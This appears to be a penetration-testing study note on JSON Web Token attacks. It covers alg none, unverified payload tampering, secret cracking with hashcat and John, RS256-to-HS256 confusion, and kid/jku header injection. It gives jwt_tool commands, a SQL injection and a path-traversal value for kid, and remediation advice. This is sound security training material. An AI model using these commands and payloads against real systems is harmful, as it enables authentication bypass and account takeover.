☼
⌃
☰

JSON Web Tokens

Table of Contents

A compact, self-contained token used to transmit claims between parties. In web applications, JWTs are the dominant authentication mechanism in SPAs and REST APIs, replacing traditional server-side sessions. Because the server trusts the token's contents, any weakness in how the token is generated, signed, or validated is a direct path to authentication bypass or privilege escalation.

On the PT1 exam a JWT vulnerability is classified as Insecure Authentication Mechanism.

Related: Web Security Insecure Authentication Mechanism SPA Penetration Testing Hashcat John The Ripper Burp Suite

Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

header.payload.signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiIxMjM0IiwicmI6ImFkbWluIn0
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header

JSON
{ "alg": "HS256", "typ": "JWT" }

The alg field is attacker-controlled and is the root cause of several major attack classes.

Payload (Claims)

JSON
{
  "sub": "1234",
  "username": "user",
  "role": "user",
  "exp": 1700000000,
  "iat": 1699990000
}
Claim Meaning
sub Subject (user ID)
iss Issuer
exp Expiry timestamp (Unix)
iat Issued-at timestamp
nbf Not-valid-before timestamp
jti JWT ID (replay prevention)

The payload is not encrypted — Base64URL encoded only. Anyone can read it. Only the signature provides integrity.

Signature

HMACSHA256(base64url(header) + "." + base64url(payload), secret)

If signature verification is flawed or absent, tokens can be forged without knowing the secret.

How JWTs Are Used in SPAs

  1. User logs in → server validates credentials → issues signed JWT
  2. Client stores JWT in localStorage or sessionStorage
  3. Client sends JWT in Authorization header on every API request:

    Authorization: Bearer <token>
    
  4. Server validates signature and reads claims — no session lookup

The server's entire trust model rests on signature verification logic — that logic is the primary attack surface.

JWT Attacks

Attack 1: Algorithm None

Severity: Critical — CVSS 9.1

The JWT spec includes none as a valid algorithm, meaning no signature is required. A vulnerable server will trust an unsigned, fully attacker-controlled token.

SHELL
# jwt_tool — automates none algorithm attack
python3 jwt_tool.py <token> -X a

# Manual steps:
# 1. Decode header, change alg to none
# 2. Modify payload as desired
# 3. Re-encode both as Base64URL
# 4. Submit with empty signature — trailing dot must be present
# eyJ...header.eyJ...payload.

Attack 2: Payload Tampering — No Signature Verification

Severity: Critical

Server decodes and uses the payload without verifying the signature.

SHELL
# 1. Decode payload (no key needed)
echo "eyJ..." | base64 -d

# 2. Modify claim (e.g. role → admin)
# 3. Re-encode and resubmit with ORIGINAL unchanged signature
# If application reflects the modified claim — verification absent

# jwt_tool
python3 jwt_tool.py <token> -T   # tamper mode — interactive

Attack 3: Weak Secret / Brute Force

Severity: High

HS256 signed tokens can be cracked entirely offline if the secret is weak.

SHELL
# Hashcat — mode 16500
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt

# John
john --wordlist=/usr/share/wordlists/rockyou.txt \
     --format=HMAC-SHA256 jwt.txt

# jwt_tool brute force
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

Once the secret is recovered, forge arbitrary tokens signed with it:

SHELL
python3 jwt_tool.py <token> -T -S hs256 -p "secret"

Attack 4: Algorithm Confusion (RS256 → HS256)

Severity: Critical

RS256 uses private key to sign, public key to verify. HS256 uses the same key for both. If a server accepts both algorithms, signing with the public key as the HMAC secret bypasses verification.

SHELL
# 1. Obtain server's RSA public key
curl https://$TARGET/.well-known/jwks.json
curl https://$TARGET/api/auth/keys

# 2. jwt_tool confusion attack
python3 jwt_tool.py <token> -X k -pk public.pem

# Manual:
# 1. Change alg from RS256 to HS256
# 2. Sign with RSA public key as HMAC secret

Attack 5: Expired Token Acceptance

Severity: Medium

Server does not validate the exp claim.

SHELL
# Resubmit captured token after expiry
# Or tamper exp to a past Unix timestamp
python3 jwt_tool.py <token> -T   # modify exp field

# If server accepts it — expiry not enforced

Attack 6: Header Parameter Injection

Severity: High to Critical

Optional header parameters tell the server where to find the verification key. These are attacker-controlled.

kid (Key ID) Injection

SHELL
# SQL injection via kid
# Set kid to: ' UNION SELECT 'attacker_secret' --
# Server queries DB with unsanitised kid → returns known value
# Sign token with that known value

# Path traversal via kid
# Set kid to: ../../dev/null
# Server reads /dev/null as key (empty) → sign with empty string
python3 jwt_tool.py <token> -T   # set kid to traversal payload
# Then sign with empty secret
python3 jwt_tool.py <token> -S hs256 -p ""

jku / x5u (Remote Key URL)

SHELL
# 1. Host malicious JWKS on attacker server
# 2. Set jku in JWT header to attacker URL
# 3. Sign token with attacker's private key
# 4. Server fetches attacker's public key and verifies as valid

# jwt_tool
python3 jwt_tool.py <token> -X s   # self-signed JKU attack

Testing Methodology

  1. Identify JWT — check Authorization: Bearer headers, cookies, and response bodies in Burp Suite
  2. Decode — use jwt.io or Burp JWT Editor extension
  3. Note the algorithm — none, HS256, or RS256
  4. Test alg: none — strip signature, resubmit
  5. Test payload tampering — modify claim, keep original signature
  6. Crack weak secret — hashcat mode 16500 against HS256 tokens
  7. Look for exposed public keys — /.well-known/jwks.json, TLS cert
  8. Test algorithm confusion — if RS256, attempt HS256 with public key
  9. Inspect optional header params — test kid, jku, x5u
  10. Test expiry — resubmit expired token

Reporting Template

Classification: Insecure Authentication Mechanism CVSS (algorithm none / no verification): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critical

Description: The application uses JWTs for authentication but fails to properly validate the token signature. By modifying the alg header field to none and altering the payload claims, an unauthenticated attacker can forge a valid token granting administrator-level access without knowledge of the signing secret.

Remediation:

  • Enforce a strict server-side allowlist of permitted algorithms; reject none explicitly
  • Verify the signature on every request before trusting any claim
  • Validate exp, iat, and nbf claims on every request
  • Use a cryptographically random secret of at least 256 bits for HS256
  • Validate kid against a known allowlist; never pass it unsanitised to a database query or file path
  • Whitelist permitted jku / x5u domains

Tools

  • jwt.io — browser decoder/encoder; rapid token inspection
  • jwttool — dedicated JWT attack tool; automates all attack classes
  • Burp JWT Editor extension — modify and resign tokens in-proxy
  • Hashcat — crack HS256 secrets offline (mode 16500)
  • John The Ripper — alternative HS256 cracking

Attack Decision Tree

JWT found in request
│
├─ alg: none?
│   └─ Strip signature → submit → bypass
│
├─ alg: HS256?
│   ├─ Tamper payload, keep original signature → no verification?
│   ├─ Crack secret (hashcat -m 16500) → forge arbitrary token
│   └─ Public key available? → try RS256→HS256 confusion
│
├─ alg: RS256?
│   ├─ Check /.well-known/jwks.json for public key
│   ├─ Try RS256→HS256 confusion using public key as HMAC secret
│   └─ Check jku/x5u headers → point to attacker-controlled JWKS
│
└─ Any algorithm
    ├─ Resubmit expired token → exp enforced?
    └─ kid header present? → test SQLi and path traversal